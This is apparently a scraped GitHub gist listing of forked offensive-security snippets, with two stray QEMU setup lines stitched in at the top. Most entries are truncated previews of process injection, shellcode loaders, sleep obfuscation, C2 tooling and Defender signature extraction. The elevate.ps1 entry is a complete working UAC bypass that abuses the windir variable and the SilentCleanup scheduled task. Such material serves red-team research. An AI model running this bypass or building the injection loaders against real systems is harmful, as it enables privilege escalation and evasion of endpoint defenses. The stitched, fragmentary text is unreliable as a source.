Create system drive

qemu-img create -f qcow2 alpine.qcow2 16G

Install image

gavz / RustProcessInjection102.rs

Created May 28, 2023 16:17 — forked from OtterHacker/RustProcessInjection102.rs

	/*
	* Rust basic Process injection using OpenProcess, VirtualAllocEx, WriteProcessMemory and CreateRemoteThread
	* API dynamic resolution and shellcode XOR encoded
	*/
	#[allow(non_camel_case_types)]
	type HANDLE = *mut u64;
	#[allow(non_camel_case_types)]
	type LPVOID = *mut u64;
	#[allow(non_camel_case_types)]
	type DWORD = u32;

gavz / shitcode.c

Created May 21, 2023 16:42 — forked from susMdT/shitcode.c

hahaha da shellcode go brrrr

	#include <Core.h>
	#include <Win32.h>
	#include <Structs.h>
	#include <Sleep.h>
	#include <Utils.h>

	SEC( text, C ) VOID Ekko ( DWORD SleepTime, PINSTANCE Instance)

	{

gavz / elevate.ps1

Created May 18, 2023 12:15 — forked from adenkiewicz/elevate.ps1

UAC bypass for "Always Notify" on Windows 10.0.18363

	New-ItemProperty "HKCU:\Environment" -Name "windir" -Value "cmd.exe /k cmd.exe" -PropertyType String -Force
	schtasks.exe /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

gavz / extc2.py

Last active May 17, 2023 22:11

	#
	# ROGUE
	#
	# GuidePoint Security LLC
	#
	# Threat and Attack Simulation Team
	#
	import os
	import sys
	import click

gavz / shellBigInt.cs

Created May 4, 2023 20:46 — forked from djhohnstein/shellBigInt.cs

Shellcode Stuffed in BigInteger

	sing System;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;



	/*
	Author: Casey Smith, Twitter: @subTee

gavz / vdm_lua_extract.py

Created May 4, 2023 20:46 — forked from HackingLZ/vdm_lua_extract.py

VDM Lua Extractor

	### Original script and research by commial
	### https://github.com/commial/experiments/tree/master/windows-defender
	### Set LUADec_Path to binary
	### https://github.com/viruscamp/luadec
	import struct
	import argparse
	import sys
	import os
	import io
	import subprocess

gavz / Source.cpp

Created May 4, 2023 20:45 — forked from alfarom256/Source.cpp

Thread Execution via NtCreateWorkerFactory

	#include <Windows.h>
	#include <winternl.h>
	#include <stdio.h>

	#define WORKER_FACTORY_FULL_ACCESS 0xf00ff

	// https://github.com/winsiderss/systeminformer/blob/17fb2e0048f062a04394c4ccd615b611e6ffd45d/phnt/include/ntexapi.h#LL1096C1-L1115C52
	typedef enum _WORKERFACTORYINFOCLASS
	{
	WorkerFactoryTimeout, // LARGE_INTEGER

gavz / LastCall.c

Created April 28, 2023 20:44

LastCall Injection PoC

	// "A process executes until one of the following events occurs:
	// - Any thread of the process calls the ExitProcess function.
	// - The last thread of the process terminates
	// - ..."
	// Ref: https://learn.microsoft.com/en-us/windows/win32/procthread/terminating-a-process
	//
	// --------------------------------------------------------------------------------------------
	//
	// The idea is to inject shellcode into another process and stomp the instructions of it's ExitProcess().
	// So when ExitProcess is called, the thread will be redirected to the shellcode instead of exiting.

gavz / UEFISecDatabaseParser.ps1

Created March 29, 2023 19:37 — forked from mattifestation/UEFISecDatabaseParser.ps1

Parses signature data from the pk, kek, db, and dbx UEFI variables.

	function Get-UEFIDatabaseSigner {
	<#
	.SYNOPSIS

	Dumps signature or hash information for whitelisted ('db' variable) or blacklisted ('dbx' variable) UEFI bootloaders.

	.DESCRIPTION

	Author: Matthew Graeber (@mattifestation)
	License: BSD 3-Clause